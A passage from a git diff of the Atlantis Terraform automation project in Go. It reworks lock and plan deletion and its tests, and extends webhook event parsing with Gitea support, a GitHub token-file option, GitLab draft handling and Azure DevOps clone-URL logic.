numLocks, nil } - for i := 0; i < len(locks); i++ { + for i := 0; i < numLocks; i++ { lock := locks[i] - l.deleteWorkingDir(lock) - } - - return nil -} -func (l *DefaultDeleteLockCommand) deleteWorkingDir(lock models.ProjectLock) { - // NOTE: Because BaseRepo was added to the PullRequest model later, previous - // installations of Atlantis will have locks in their DB that do not have - // this field on PullRequest. We skip deleting the working dir in this case. - if lock.Pull.BaseRepo == (models.Repo{}) { - return - } - unlock, err := l.WorkingDirLocker.TryLock(lock.Pull.BaseRepo.FullName, lock.Pull.Num, lock.Workspace) - if err != nil { - l.Logger.Err("unable to obtain working dir lock when trying to delete old plans: %s", err) - } else { - defer unlock() - // nolint: vetshadow - if err := l.WorkingDir.DeleteForWorkspace(lock.Pull.BaseRepo, lock.Pull, lock.Workspace); err != nil { - l.Logger.Err("unable to delete workspace: %s", err) + err := l.WorkingDir.DeletePlan(logger, lock.Pull.BaseRepo, lock.Pull, lock.Workspace, lock.Project.Path, lock.Project.ProjectName) + if err != nil { + logger.Warn("Failed to delete plan: %s", err) + return numLocks, err } } - if err := l.DB.UpdateProjectStatus(lock.Pull, lock.Workspace, lock.Project.Path, models.DiscardedPlanStatus); err != nil { - l.Logger.Err("unable to delete project status: %s", err) - } + + return numLocks, nil } diff --git a/server/events/delete_lock_command_test.go b/server/events/delete_lock_command_test.go index ba2acd8c07..3efb43b474 100644 --- a/server/events/delete_lock_command_test.go +++ b/server/events/delete_lock_command_test.go @@ -4,10 +4,10 @@ import ( "errors" "testing" - . "github.com/petergtz/pegomock" + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/server/core/db" + lockmocks "github.com/runatlantis/atlantis/server/core/locking/mocks" "github.com/runatlantis/atlantis/server/events" - "github.com/runatlantis/atlantis/server/events/db" - lockmocks "github.com/runatlantis/atlantis/server/events/locking/mocks" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" @@ -15,121 +15,186 @@ import ( func TestDeleteLock_LockerErr(t *testing.T) { t.Log("If there is an error retrieving the lock, we return the error") + logger := logging.NewNoopLogger(t) RegisterMockTestingT(t) l := lockmocks.NewMockLocker() When(l.Unlock("id")).ThenReturn(nil, errors.New("err")) - dlc := events.DefaultDeleteLockCommand{ - Locker: l, - Logger: logging.NewNoopLogger(), - } - _, err := dlc.DeleteLock("id") + dlc := events.DefaultDeleteLockCommand{Locker: l} + _, err := dlc.DeleteLock(logger, "id") ErrEquals(t, "err", err) } func TestDeleteLock_None(t *testing.T) { t.Log("If there is no lock at that ID we return nil") + logger := logging.NewNoopLogger(t) RegisterMockTestingT(t) l := lockmocks.NewMockLocker() When(l.Unlock("id")).ThenReturn(nil, nil) - dlc := events.DefaultDeleteLockCommand{ - Locker: l, - Logger: logging.NewNoopLogger(), - } - lock, err := dlc.DeleteLock("id") + dlc := events.DefaultDeleteLockCommand{Locker: l} + lock, err := dlc.DeleteLock(logger, "id") Ok(t, err) Assert(t, lock == nil, "lock was not nil") } -func TestDeleteLock_OldFormat(t *testing.T) { - t.Log("If the lock doesn't have BaseRepo set it is deleted successfully") - RegisterMockTestingT(t) - l := lockmocks.NewMockLocker() - When(l.Unlock("id")).ThenReturn(&models.ProjectLock{}, nil) - dlc := events.DefaultDeleteLockCommand{ - Locker: l, - Logger: logging.NewNoopLogger(), - } - lock, err := dlc.DeleteLock("id") - Ok(t, err) - Assert(t, lock != nil, "lock was nil") -} - func TestDeleteLock_Success(t *testing.T) { - t.Log("Delete lock deletes successfully the working dir") + t.Log("Delete lock deletes successfully the plan file") + logger := logging.NewNoopLogger(t) RegisterMockTestingT(t) l := lockmocks.NewMockLocker() When(l.Unlock("id")).ThenReturn(&models.ProjectLock{}, nil) workingDir := events.NewMockWorkingDir() workingDirLocker := events.NewDefaultWorkingDirLocker() + workspace := "workspace" + path := "path" + projectName := "" pull := models.PullRequest{ BaseRepo: models.Repo{FullName: "owner/repo"}, } When(l.Unlock("id")).ThenReturn(&models.ProjectLock{ Pull: pull, - Workspace: "workspace", + Workspace: workspace, Project: models.Project{ - Path: "path", - RepoFullName: "owner/repo", + Path: path, + RepoFullName: pull.BaseRepo.FullName, }, }, nil) - tmp, cleanup := TempDir(t) - defer cleanup() + tmp := t.TempDir() db, err := db.New(tmp) + t.Cleanup(func() { + db.Close() + }) Ok(t, err) dlc := events.DefaultDeleteLockCommand{ Locker: l, - Logger: logging.NewNoopLogger(), - DB: db, + Backend: db, WorkingDirLocker: workingDirLocker, WorkingDir: workingDir, } - lock, err := dlc.DeleteLock("id") + lock, err := dlc.DeleteLock(logger, "id") Ok(t, err) Assert(t, lock != nil, "lock was nil") - workingDir.VerifyWasCalledOnce().DeleteForWorkspace(pull.BaseRepo, pull, "workspace") + workingDir.VerifyWasCalledOnce().DeletePlan(Any[logging.SimpleLogging](), Eq(pull.BaseRepo), Eq(pull), Eq(workspace), + Eq(path), Eq(projectName)) } func TestDeleteLocksByPull_LockerErr(t *testing.T) { t.Log("If there is an error retrieving the lock, returned a failed status") + logger := logging.NewNoopLogger(t) repoName := "reponame" pullNum := 2 RegisterMockTestingT(t) l := lockmocks.NewMockLocker() + workingDir := events.NewMockWorkingDir() When(l.UnlockByPull(repoName, pullNum)).ThenReturn(nil, errors.New("err")) dlc := events.DefaultDeleteLockCommand{ - Locker: l, - Logger: logging.NewNoopLogger(), + Locker: l, + WorkingDir: workingDir, } - err := dlc.DeleteLocksByPull(repoName, pullNum) + _, err := dlc.DeleteLocksByPull(logger, repoName, pullNum) ErrEquals(t, "err", err) + workingDir.VerifyWasCalled(Never()).DeletePlan(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Any[string](), Any[string](), Any[string]()) } func TestDeleteLocksByPull_None(t *testing.T) { t.Log("If there is no lock at that ID there is no error") + logger := logging.NewNoopLogger(t) repoName := "reponame" pullNum := 2 RegisterMockTestingT(t) l := lockmocks.NewMockLocker() + workingDir := events.NewMockWorkingDir() When(l.UnlockByPull(repoName, pullNum)).ThenReturn([]models.ProjectLock{}, nil) dlc := events.DefaultDeleteLockCommand{ - Locker: l, - Logger: logging.NewNoopLogger(), + Locker: l, + WorkingDir: workingDir, } - err := dlc.DeleteLocksByPull(repoName, pullNum) + _, err := dlc.DeleteLocksByPull(logger, repoName, pullNum) Ok(t, err) + workingDir.VerifyWasCalled(Never()).DeletePlan(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), + Any[string](), Any[string](), Any[string]()) } -func TestDeleteLocksByPull_OldFormat(t *testing.T) { - t.Log("If the lock doesn't have BaseRepo set it is deleted successfully") +func TestDeleteLocksByPull_SingleSuccess(t *testing.T) { + t.Log("If a single lock is successfully deleted") + logger := logging.NewNoopLogger(t) repoName := "reponame" pullNum := 2 + path := "." + workspace := "default" + projectName := "projectname" + RegisterMockTestingT(t) l := lockmocks.NewMockLocker() - When(l.UnlockByPull(repoName, pullNum)).ThenReturn([]models.ProjectLock{{}}, nil) + workingDir := events.NewMockWorkingDir() + pull := models.PullRequest{ + BaseRepo: models.Repo{FullName: repoName}, + Num: pullNum, + } + When(l.UnlockByPull(repoName, pullNum)).ThenReturn([]models.ProjectLock{ + { + Pull: pull, + Workspace: workspace, + Project: models.Project{ + Path: path, + RepoFullName: pull.BaseRepo.FullName, + ProjectName: projectName, + }, + }, + }, nil, + ) + dlc := events.DefaultDeleteLockCommand{ + Locker: l, + WorkingDir: workingDir, + } + _, err := dlc.DeleteLocksByPull(logger, repoName, pullNum) + Ok(t, err) + workingDir.VerifyWasCalled(Once()).DeletePlan(Any[logging.SimpleLogging](), Eq(pull.BaseRepo), Eq(pull), Eq(workspace), + Eq(path), Eq(projectName)) +} + +func TestDeleteLocksByPull_MultipleSuccess(t *testing.T) { + t.Log("If multiple locks are successfully deleted") + logger := logging.NewNoopLogger(t) + repoName := "reponame" + pullNum := 2 + path1 := "path1" + path2 := "path2" + workspace := "default" + projectName := "" + + RegisterMockTestingT(t) + l := lockmocks.NewMockLocker() + workingDir := events.NewMockWorkingDir() + pull := models.PullRequest{ + BaseRepo: models.Repo{FullName: repoName}, + Num: pullNum, + } + When(l.UnlockByPull(repoName, pullNum)).ThenReturn([]models.ProjectLock{ + { + Pull: pull, + Workspace: workspace, + Project: models.Project{ + Path: path1, + RepoFullName: pull.BaseRepo.FullName, + }, + }, + { + Pull: pull, + Workspace: workspace, + Project: models.Project{ + Path: path2, + RepoFullName: pull.BaseRepo.FullName, + }, + }, + }, nil, + ) dlc := events.DefaultDeleteLockCommand{ - Locker: l, - Logger: logging.NewNoopLogger(), + Locker: l, + WorkingDir: workingDir, } - err := dlc.DeleteLocksByPull(repoName, pullNum) + _, err := dlc.DeleteLocksByPull(logger, repoName, pullNum) Ok(t, err) + workingDir.VerifyWasCalled(Once()).DeletePlan(logger, pull.BaseRepo, pull, workspace, path1, projectName) + workingDir.VerifyWasCalled(Once()).DeletePlan(logger, pull.BaseRepo, pull, workspace, path2, projectName) } diff --git a/server/events/drainer.go b/server/events/drainer.go index 3ac4238fa0..4258b9c76e 100644 --- a/server/events/drainer.go +++ b/server/events/drainer.go @@ -7,9 +7,9 @@ import ( // Drainer is used to gracefully shut down atlantis by waiting for in-progress // operations to complete. type Drainer struct { - status DrainStatus - mutex sync.Mutex - wg sync.WaitGroup + status DrainStatus `validate:"required"` + mutex sync.Mutex `validate:"required"` + wg sync.WaitGroup `validate:"required"` } type DrainStatus struct { diff --git a/server/events/event_parser.go b/server/events/event_parser.go index 90d63b0926..911b92d4d1 100644 --- a/server/events/event_parser.go +++ b/server/events/event_parser.go @@ -17,39 +17,92 @@ import ( "encoding/json" "fmt" "net/url" + "os" "path" "strings" - "github.com/google/go-github/v31/github" - "github.com/mcdafydd/go-azuredevops/azuredevops" + giteasdk "code.gitea.io/sdk/gitea" + + "github.com/drmaxgit/go-azuredevops/azuredevops" + "github.com/go-playground/validator/v10" + "github.com/google/go-github/v71/github" + lru "github.com/hashicorp/golang-lru/v2" "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs/bitbucketcloud" "github.com/runatlantis/atlantis/server/events/vcs/bitbucketserver" - "github.com/xanzy/go-gitlab" - "gopkg.in/go-playground/validator.v9" + "github.com/runatlantis/atlantis/server/events/vcs/gitea" + "github.com/runatlantis/atlantis/server/logging" + gitlab "gitlab.com/gitlab-org/api/client-go" ) const gitlabPullOpened = "opened" const usagesCols = 90 +var lastBitbucketSha, _ = lru.New[string, string](300) + // PullCommand is a command to run on a pull request. type PullCommand interface { + // Dir is the path relative to the repo root to run the command in. + // Will never end in "/". If empty then the comment specified no directory. + Dir() string // CommandName is the name of the command we're running. - CommandName() models.CommandName + CommandName() command.Name + // SubCommandName is the subcommand name of the command we're running. + SubCommandName() string // IsVerbose is true if the output of this command should be verbose. IsVerbose() bool // IsAutoplan is true if this is an autoplan command vs. a comment command. IsAutoplan() bool } +// PolicyCheckCommand is a policy_check command that is automatically triggered +// after successful plan command. +type PolicyCheckCommand struct{} + +// CommandName is policy_check. +func (c PolicyCheckCommand) CommandName() command.Name { + return command.PolicyCheck +} + +// SubCommandName is a subcommand for policy_check. +func (c PolicyCheckCommand) SubCommandName() string { + return "" +} + +// Dir is empty +func (c PolicyCheckCommand) Dir() string { + return "" +} + +// IsVerbose is false for policy_check commands. +func (c PolicyCheckCommand) IsVerbose() bool { + return false +} + +// IsAutoplan is true for policy_check commands. +func (c PolicyCheckCommand) IsAutoplan() bool { + return false +} + // AutoplanCommand is a plan command that is automatically triggered when a // pull request is opened or updated. type AutoplanCommand struct{} -// CommandName is Plan. -func (c AutoplanCommand) CommandName() models.CommandName { - return models.PlanCommand +// CommandName is plan. +func (c AutoplanCommand) CommandName() command.Name { + return command.Plan +} + +// SubCommandName is a subcommand for auto plan. +func (c AutoplanCommand) SubCommandName() string { + return "" +} + +// Dir is empty +func (c AutoplanCommand) Dir() string { + return "" } // IsVerbose is false for autoplan commands. @@ -71,7 +124,13 @@ type CommentCommand struct { // ex. atlantis plan -- -target=resource Flags []string // Name is the name of the command the comment specified. - Name models.CommandName + Name command.Name + // SubName is the name of the sub command the comment specified. + SubName string + // AutoMergeDisabled is true if the command should not automerge after apply. + AutoMergeDisabled bool + // AutoMergeMethod specified the merge method for the VCS if automerge enabled. + AutoMergeMethod string // Verbose is true if the command should output verbosely. Verbose bool // Workspace is the name of the Terraform workspace to run the command in. @@ -81,6 +140,10 @@ type CommentCommand struct { // project specified in an atlantis.yaml file. // If empty then the comment specified no project. ProjectName string + // PolicySet is the name of a policy set to run an approval on. + PolicySet string + // ClearPolicyApproval is true if approvals should be cleared out for specified policies. + ClearPolicyApproval bool } // IsForSpecificProject returns true if the command is for a specific dir, workspace @@ -90,11 +153,21 @@ func (c CommentCommand) IsForSpecificProject() bool { return c.RepoRelDir != "" || c.Workspace != "" || c.ProjectName != "" } +// Dir returns the dir of this command. +func (c CommentCommand) Dir() string { + return c.RepoRelDir +} + // CommandName returns the name of this command. -func (c CommentCommand) CommandName() models.CommandName { +func (c CommentCommand) CommandName() command.Name { return c.Name } +// SubCommandName returns the name of this subcommand. +func (c CommentCommand) SubCommandName() string { + return c.SubName +} + // IsVerbose is true if the command should give verbose output. func (c CommentCommand) IsVerbose() bool { return c.Verbose @@ -107,11 +180,11 @@ func (c CommentCommand) IsAutoplan() bool { // String returns a string representation of the command. func (c CommentCommand) String() string { - return fmt.Sprintf("command=%q verbose=%t dir=%q workspace=%q project=%q flags=%q", c.Name.String(), c.Verbose, c.RepoRelDir, c.Workspace, c.ProjectName, strings.Join(c.Flags, ",")) + return fmt.Sprintf("command=%q, verbose=%t, dir=%q, workspace=%q, project=%q, policyset=%q, auto-merge-disabled=%t, auto-merge-method=%s, clear-policy-approval=%t, flags=%q", c.Name.String(), c.Verbose, c.RepoRelDir, c.Workspace, c.ProjectName, c.PolicySet, c.AutoMergeDisabled, c.AutoMergeMethod, c.ClearPolicyApproval, strings.Join(c.Flags, ",")) } // NewCommentCommand constructs a CommentCommand, setting all missing fields to defaults. -func NewCommentCommand(repoRelDir string, flags []string, name models.CommandName, verbose bool, workspace string, project string) *CommentCommand { +func NewCommentCommand(repoRelDir string, flags []string, name command.Name, subName string, verbose, autoMergeDisabled bool, autoMergeMethod string, workspace string, project string, policySet string, clearPolicyApproval bool) *CommentCommand { // If repoRelDir was empty we want to keep it that way to indicate that it // wasn't specified in the comment. if repoRelDir != "" { @@ -121,16 +194,21 @@ func NewCommentCommand(repoRelDir string, flags []string, name models.CommandNam } } return &CommentCommand{ - RepoRelDir: repoRelDir, - Flags: flags, - Name: name, - Verbose: verbose, - Workspace: workspace, - ProjectName: project, + RepoRelDir: repoRelDir, + Flags: flags, + Name: name, + SubName: subName, + Verbose: verbose, + Workspace: workspace, + AutoMergeDisabled: autoMergeDisabled, + AutoMergeMethod: autoMergeMethod, + ProjectName: project, + PolicySet: policySet, + ClearPolicyApproval: clearPolicyApproval, } } -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_event_parsing.go EventParsing +//go:generate pegomock generate github.com/runatlantis/atlantis/server/events --package mocks -o mocks/mock_event_parsing.go EventParsing // EventParsing parses webhook events from different VCS hosts into their // respective Atlantis models. @@ -140,7 +218,7 @@ type EventParsing interface { // baseRepo is the repo that the pull request will be merged into. // user is the pull request author. // pullNum is the number of the pull request that triggered the webhook. - ParseGithubIssueCommentEvent(comment *github.IssueCommentEvent) ( + ParseGithubIssueCommentEvent(logger logging.SimpleLogging, comment *github.IssueCommentEvent) ( baseRepo models.Repo, user models.User, pullNum int, err error) // ParseGithubPull parses the response from the GitHub API endpoint (not @@ -148,7 +226,7 @@ type EventParsing interface { // pull is the parsed pull request. // baseRepo is the repo the pull request will be merged into. // headRepo is the repo the pull request branch is from. - ParseGithubPull(ghPull *github.PullRequest) ( + ParseGithubPull(logger logging.SimpleLogging, ghPull *github.PullRequest) ( pull models.PullRequest, baseRepo models.Repo, headRepo models.Repo, err error) // ParseGithubPullEvent parses GitHub pull request events. @@ -157,7 +235,7 @@ type EventParsing interface { // baseRepo is the repo the pull request will be merged into. // headRepo is the repo the pull request branch is from. // user is the pull request author. - ParseGithubPullEvent(pullEvent *github.PullRequestEvent) ( + ParseGithubPullEvent(logger logging.SimpleLogging, pullEvent *github.PullRequestEvent) ( pull models.PullRequest, pullEventType models.PullRequestEventType, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) @@ -175,18 +253,26 @@ type EventParsing interface { pull models.PullRequest, pullEventType models.PullRequestEventType, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) + // ParseGitlabMergeRequestUpdateEvent dives deeper into Gitlab merge request update events to check + // if Atlantis should handle events or not. Atlantis should ignore events which dont change the MR content + // We assume that 1 event carries multiple events, so firstly need to check for events triggering Atlantis planning + // Default 'unknown' event to 'models.UpdatedPullEvent' + ParseGitlabMergeRequestUpdateEvent(event gitlab.MergeEvent) models.PullRequestEventType + // ParseGitlabMergeRequestCommentEvent parses GitLab merge request comment // events. // baseRepo is the repo the merge request will be merged into. // headRepo is the repo the merge request branch is from. // user is the pull request author. ParseGitlabMergeRequestCommentEvent(event gitlab.MergeCommentEvent) ( - baseRepo models.Repo, headRepo models.Repo, user models.User, err error) + baseRepo models.Repo, headRepo models.Repo, commentID int, user models.User, err error) // ParseGitlabMergeRequest parses the response from the GitLab API endpoint // that returns a merge request. ParseGitlabMergeRequest(mr *gitlab.MergeRequest, baseRepo models.Repo) models.PullRequest + ParseAPIPlanRequest(vcsHostType models.VCSHostType, path string, cloneURL string) (baseRepo models.Repo, err error) + // ParseBitbucketCloudPullEvent parses a pull request event from Bitbucket // Cloud (bitbucket.org). // pull is the parsed pull request. @@ -210,7 +296,7 @@ type EventParsing interface { // GetBitbucketCloudPullEventType returns the type of the pull request // event given the Bitbucket Cloud header. - GetBitbucketCloudPullEventType(eventTypeHeader string) models.PullRequestEventType + GetBitbucketCloudPullEventType(eventTypeHeader string, sha string, pr string) models.PullRequestEventType // ParseBitbucketServerPullEvent parses a pull request event from Bitbucket // Server. @@ -258,14 +344,25 @@ type EventParsing interface { // ParseAzureDevopsRepo parses the response from the Azure DevOps API endpoint that // returns a repo into the Atlantis model. ParseAzureDevopsRepo(adRepo *azuredevops.GitRepository) (models.Repo, error) + + ParseGiteaPullRequestEvent(event giteasdk.PullRequest) ( + pull models.PullRequest, pullEventType models.PullRequestEventType, + baseRepo models.Repo, headRepo models.Repo, user models.User, err error) + + ParseGiteaIssueCommentEvent(event gitea.GiteaIssueCommentPayload) (baseRepo models.Repo, user models.User, pullNum int, err error) + + ParseGiteaPull(pull *giteasdk.PullRequest) (pullModel models.PullRequest, baseRepo models.Repo, headRepo models.Repo, err error) } // EventParser parses VCS events. type EventParser struct { GithubUser string GithubToken string + GithubTokenFile string GitlabUser string GitlabToken string + GiteaUser string + GiteaToken string AllowDraftPRs bool BitbucketUser string BitbucketToken string @@ -274,13 +371,40 @@ type EventParser struct { AzureDevopsUser string } +func (e *EventParser) ParseAPIPlanRequest(vcsHostType models.VCSHostType, repoFullName string, cloneURL string) (models.Repo, error) { + switch vcsHostType { + case models.Github: + token := e.GithubToken + if e.GithubTokenFile != "" { + content, err := os.ReadFile(e.GithubTokenFile) + if err != nil { + return models.Repo{}, fmt.Errorf("failed reading github token file: %w", err) + } + token = string(content) + } + return models.NewRepo(vcsHostType, repoFullName, cloneURL, e.GithubUser, token) + case models.Gitea: + return models.NewRepo(vcsHostType, repoFullName, cloneURL, e.GiteaUser, e.GiteaToken) + case models.Gitlab: + return models.NewRepo(vcsHostType, repoFullName, cloneURL, e.GitlabUser, e.GitlabToken) + } + return models.Repo{}, fmt.Errorf("not implemented") +} + // GetBitbucketCloudPullEventType returns the type of the pull request // event given the Bitbucket Cloud header. -func (e *EventParser) GetBitbucketCloudPullEventType(eventTypeHeader string) models.PullRequestEventType { +func (e *EventParser) GetBitbucketCloudPullEventType(eventTypeHeader string, sha string, pr string) models.PullRequestEventType { switch eventTypeHeader { case bitbucketcloud.PullCreatedHeader: + lastBitbucketSha.Add(pr, sha) return models.OpenedPullEvent case bitbucketcloud.PullUpdatedHeader: + lastSha, _ := lastBitbucketSha.Get(pr) + if sha == lastSha { + // No change, ignore + return models.OtherPullEvent + } + lastBitbucketSha.Add(pr, sha) return models.UpdatedPullEvent case bitbucketcloud.PullFulfilledHeader, bitbucketcloud.PullRejectedHeader: return models.ClosedPullEvent @@ -347,12 +471,12 @@ func (e *EventParser) parseCommonBitbucketCloudEventData(event bitbucketcloud.Co URL: *event.PullRequest.Links.HTML.HREF, HeadBranch: *event.PullRequest.Source.Branch.Name, BaseBranch: *event.PullRequest.Destination.Branch.Name, - Author: *event.Actor.Nickname, + Author: *event.Actor.AccountID, State: prState, BaseRepo: baseRepo, } user = models.User{ - Username: *event.Actor.Nickname, + Username: *event.Actor.AccountID, } return } @@ -376,7 +500,7 @@ func (e *EventParser) ParseBitbucketCloudPullEvent(body []byte) (pull models.Pul // ParseGithubIssueCommentEvent parses GitHub pull request comment events. // See EventParsing for return value docs. -func (e *EventParser) ParseGithubIssueCommentEvent(comment *github.IssueCommentEvent) (baseRepo models.Repo, user models.User, pullNum int, err error) { +func (e *EventParser) ParseGithubIssueCommentEvent(logger logging.SimpleLogging, comment *github.IssueCommentEvent) (baseRepo models.Repo, user models.User, pullNum int, err error) { baseRepo, err = e.ParseGithubRepo(comment.Repo) if err != nil { return @@ -399,12 +523,12 @@ func (e *EventParser) ParseGithubIssueCommentEvent(comment *github.IssueCommentE // ParseGithubPullEvent parses GitHub pull request events. // See EventParsing for return value docs. -func (e *EventParser) ParseGithubPullEvent(pullEvent *github.PullRequestEvent) (pull models.PullRequest, pullEventType models.PullRequestEventType, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) { +func (e *EventParser) ParseGithubPullEvent(logger logging.SimpleLogging, pullEvent *github.PullRequestEvent) (pull models.PullRequest, pullEventType models.PullRequestEventType, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) { if pullEvent.PullRequest == nil { err = errors.New("pull_request is null") return } - pull, baseRepo, headRepo, err = e.ParseGithubPull(pullEvent.PullRequest) + pull, baseRepo, headRepo, err = e.ParseGithubPull(logger, pullEvent.PullRequest) if err != nil { return } @@ -448,7 +572,7 @@ func (e *EventParser) ParseGithubPullEvent(pullEvent *github.PullRequestEvent) ( // ParseGithubPull parses the response from the GitHub API endpoint (not // from a webhook) that returns a pull request. // See EventParsing for return value docs. -func (e *EventParser) ParseGithubPull(pull *github.PullRequest) (pullModel models.PullRequest, baseRepo models.Repo, headRepo models.Repo, err error) { +func (e *EventParser) ParseGithubPull(logger logging.SimpleLogging, pull *github.PullRequest) (pullModel models.PullRequest, baseRepo models.Repo, headRepo models.Repo, err error) { commit := pull.Head.GetSHA() if commit == "" { err = errors.New("head.sha is null") @@ -512,7 +636,34 @@ func (e *EventParser) ParseGithubPull(pull *github.PullRequest) (pullModel model // returns a repo into the Atlantis model. // See EventParsing for return value docs. func (e *EventParser) ParseGithubRepo(ghRepo *github.Repository) (models.Repo, error) { - return models.NewRepo(models.Github, ghRepo.GetFullName(), ghRepo.GetCloneURL(), e.GithubUser, e.GithubToken) + token := e.GithubToken + if e.GithubTokenFile != "" { + content, err := os.ReadFile(e.GithubTokenFile) + if err != nil { + return models.Repo{}, fmt.Errorf("failed reading github token file: %w", err) + } + token = string(content) + } + + return models.NewRepo(models.Github, ghRepo.GetFullName(), ghRepo.GetCloneURL(), e.GithubUser, token) +} + +// ParseGiteaRepo parses the response from the Gitea API endpoint that +// returns a repo into the Atlantis model. +// See EventParsing for return value docs. +func (e *EventParser) ParseGiteaRepo(repo giteasdk.Repository) (models.Repo, error) { + return models.NewRepo(models.Gitea, repo.FullName, repo.CloneURL, e.GiteaUser, e.GiteaToken) +} + +// ParseGitlabMergeRequestUpdateEvent dives deeper into Gitlab merge request update events +func (e *EventParser) ParseGitlabMergeRequestUpdateEvent(event gitlab.MergeEvent) models.PullRequestEventType { + // New commit to opened MR + if len(event.ObjectAttributes.OldRev) > 0 || + // Check for MR that has been marked as ready + (strings.HasPrefix(event.Changes.Title.Previous, "Draft:") && !strings.HasPrefix(event.Changes.Title.Current, "Draft:")) { + return models.UpdatedPullEvent + } + return models.OtherPullEvent } // ParseGitlabMergeRequestEvent parses GitLab merge request events. @@ -546,15 +697,23 @@ func (e *EventParser) ParseGitlabMergeRequestEvent(event gitlab.MergeEvent) (pul BaseRepo: baseRepo, } - switch event.ObjectAttributes.Action { - case "open": - eventType = models.OpenedPullEvent - case "update": - eventType = models.UpdatedPullEvent - case "merge", "close": - eventType = models.ClosedPullEvent - default: + // If it's a draft PR we ignore it for auto-planning if configured to do so + // however it's still possible for users to run plan on it manually via a + // comment so if any draft PR is closed we still need to check if we need + // to delete its locks. + if event.ObjectAttributes.WorkInProgress && event.ObjectAttributes.Action != "close" && !e.AllowDraftPRs { eventType = models.OtherPullEvent + } else { + switch event.ObjectAttributes.Action { + case "open": + eventType = models.OpenedPullEvent + case "update": + eventType = e.ParseGitlabMergeRequestUpdateEvent(event) + case "merge", "close": + eventType = models.ClosedPullEvent + default: + eventType = models.OtherPullEvent + } } user = models.User{ @@ -567,10 +726,12 @@ func (e *EventParser) ParseGitlabMergeRequestEvent(event gitlab.MergeEvent) (pul // ParseGitlabMergeRequestCommentEvent parses GitLab merge request comment // events. // See EventParsing for return value docs. -func (e *EventParser) ParseGitlabMergeRequestCommentEvent(event gitlab.MergeCommentEvent) (baseRepo models.Repo, headRepo models.Repo, user models.User, err error) { +func (e *EventParser) ParseGitlabMergeRequestCommentEvent(event gitlab.MergeCommentEvent) (baseRepo models.Repo, headRepo models.Repo, commentID int, user models.User, err error) { // Parse the base repo first. + repoFullName := event.Project.PathWithNamespace cloneURL := event.Project.GitHTTPURL + commentID = event.ObjectAttributes.ID baseRepo, err = models.NewRepo(models.Gitlab, repoFullName, cloneURL, e.GitlabUser, e.GitlabToken) if err != nil { return @@ -586,6 +747,27 @@ func (e *EventParser) ParseGitlabMergeRequestCommentEvent(event gitlab.MergeComm return } +func (e *EventParser) ParseGiteaIssueCommentEvent(comment gitea.GiteaIssueCommentPayload) (baseRepo models.Repo, user models.User, pullNum int, err error) { + baseRepo, err = e.ParseGiteaRepo(comment.Repository) + if err != nil { + return + } + if comment.Comment.Body == "" || comment.Comment.Poster.UserName == "" { + err = errors.New("comment.user.login is null") + return + } + commenterUsername := comment.Comment.Poster.UserName + user = models.User{ + Username: commenterUsername, + } + pullNum = int(comment.Issue.Index) + if pullNum == 0 { + err = errors.New("issue.number is null") + return + } + return +} + // ParseGitlabMergeRequest parses the merge requests and returns a pull request // model. We require passing in baseRepo because we can't get this information // from the merge request. The only caller of this function already has that @@ -614,7 +796,9 @@ func (e *EventParser) ParseGitlabMergeRequest(mr *gitlab.MergeRequest, baseRepo // event given the Bitbucket Server header. func (e *EventParser) GetBitbucketServerPullEventType(eventTypeHeader string) models.PullRequestEventType { switch eventTypeHeader { - case bitbucketserver.PullCreatedHeader: + // PullFromRefUpdatedHeader event occurs on OPEN state pull request + // so no additional checks are needed. + case bitbucketserver.PullCreatedHeader, bitbucketserver.PullFromRefUpdatedHeader: return models.OpenedPullEvent case bitbucketserver.PullMergedHeader, bitbucketserver.PullDeclinedHeader, bitbucketserver.PullDeletedHeader: return models.ClosedPullEvent @@ -764,6 +948,7 @@ func (e *EventParser) ParseAzureDevopsPull(pull *azuredevops.GitPullRequest) (pu err = errors.New("url is null") return } + headBranch := pull.GetSourceRefName() if headBranch == "" { err = errors.New("sourceRefName (branch name) is null") @@ -829,20 +1014,27 @@ func (e *EventParser) ParseAzureDevopsRepo(adRepo *azuredevops.GitRepository) (m teamProject := adRepo.GetProject() parent := adRepo.GetParentRepository() owner := "" + + uri, err := url.Parse(adRepo.GetWebURL()) + if err != nil { + return models.Repo{}, err + } + if parent != nil { owner = parent.GetName() } else { - uri, err := url.Parse(adRepo.GetWebURL()) - if err != nil { - return models.Repo{}, err - } + if strings.Contains(uri.Host, "visualstudio.com") { owner = strings.Split(uri.Host, ".")[0] - } else if strings.Contains(uri.Host, "dev.azure.com") { - owner = strings.Split(uri.Path, "/")[1] } else { - owner = "" + owner = strings.Split(uri.Path, "/")[1] } + owner = strings.ToLower(owner) + // Important Issue + // Details in here: https://github.com/runatlantis/atlantis/issues/5595 + // Original issue from 2018: https://github.com/runatlantis/atlantis/issues/1858 + // Related Microsoft article: https://learn.microsoft.com/en-us/azure/devops/release-notes/2018/sep-10-azure-devops-launch#administration + // If Azure DevOps forces the usage of new url, we need to remove all the changes added on this pull request (1 line and 1 test) } // Construct our own clone URL so we always get the new dev.azure.com @@ -850,7 +1042,139 @@ func (e *EventParser) ParseAzureDevopsRepo(adRepo *azuredevops.GitRepository) (m // https://docs.microsoft.com/en-us/azure/devops/release-notes/2018/sep-10-azure-devops-launch#switch-existing-organizations-to-use-the-new-domain-name-url project := teamProject.GetName() repo := adRepo.GetName() - cloneURL := fmt.Sprintf("https://dev.azure.com/%s/%s/_git/%s", owner, project, repo) + + host := uri.Host + if host == "" { + host = "dev.azure.com" + } + + cloneURL := "" + // If statement allows compatibility with legacy Visual Studio Team Foundation Services URLs. + // Else statement covers Azure DevOps Services URLs + if strings.Contains(host, "visualstudio.com") { + cloneURL = fmt.Sprintf("https://%s/%s/_git/%s", host, project, repo) + } else { + cloneURL = fmt.Sprintf("https://%s/%s/%s/_git/%s", host, owner, project, repo) + } + fmt.Println("%", cloneURL) fullName := fmt.Sprintf("%s/%s/%s", owner, project, repo) return models.NewRepo(models.AzureDevops, fullName, cloneURL, 